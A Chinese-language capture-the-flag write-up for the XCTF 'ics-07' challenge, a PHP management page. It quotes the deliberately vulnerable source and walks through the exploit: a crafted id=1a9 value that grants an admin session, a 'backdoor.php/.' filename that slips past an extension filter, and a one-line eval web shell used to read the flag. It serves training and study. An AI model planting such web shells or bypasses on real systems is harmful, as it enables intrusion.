【XCTF 4th-CyberEarth】ics-07
阿新 • • 發佈:2020-07-12
資訊:
題目來源:XCTF 4th-CyberEarth
標籤:PHP
、原始碼洩露
、SSRF
、反序列化
、SQL
題目描述:工控雲管理系統專案管理頁面解析漏洞
解題過程
進入網站後,首先進行目錄掃描:
[TIME] => 2020-07-08 15:34:39.931717 [TARGET] => http://220.249.52.133:54884/ [NUMBER_OF_THRED] => 10 [KEY_WORDS] => ['flag', 'ctf', 'admin'] [302] => index.php [200] => flag.php [200] => config.php [200] => /config.php [200] => index.html
得到以上檔案資訊,發現名為專案管理中心的頁面:
發現網頁原始碼(第一部分):
<?php
session_start();
if (!isset($_GET[page])) {
show_source(__FILE__);
die();
}
if (isset($_GET[page]) && $_GET[page] != 'index.php') {
include('flag.php');
}else {
header('Location: ?page=flag.php');
}
?>
本部分程式碼無需特殊處理。
第二部分:
<?php if ($_SESSION['admin']) { $con = $_POST['con']; $file = $_POST['file']; $filename = "backup/".$file; if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){ die("Bad file extension"); }else{ chdir('uploaded'); $f = fopen($filename, 'w'); fwrite($f, $con); fclose($f); } } ?>
這部分程式碼首先需要滿足$_SESSION['admin'] == True
才行。
當滿足上述條件時,可以使用post
上傳檔案,要求檔案字尾名不能為:php、php3、php4、php5、php7、pht、phtml。
第三部分:
<?php if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') { include 'config.php'; $id = mysql_real_escape_string($_GET[id]); $sql="select * from cetc007.user where id='$id'"; $result = mysql_query($sql); $result = mysql_fetch_object($result); } else { $result = False; die(); } if(!$result)die("<br >something wae wrong ! <br>"); if($result){ echo "id: ".$result->id."</br>"; echo "name:".$result->user."</br>"; $_SESSION['admin'] = True; } ?>
這部分程式碼需要滿足:
- 存在id ≠ (int)1
- id的最後一位 = 9
滿足這兩個條件時:$_SESSION['admin'] = True;
構造payload:http://ip/index.php?page=flag.php&id=1a9
這時,可以使用post方式上傳檔案,file為檔名,con為檔案內容。
正則的話是判斷.
之後的字元,因此我們可以利用/.
的方式繞過,這個方式的意思是在檔名目錄下在加個空目錄,相當於沒加,因此達到繞過正則的目的。
file=backdoor.php/.&con=<?php @eval($_POST['123']);?>
使用菜刀類工具連線,得到flag
。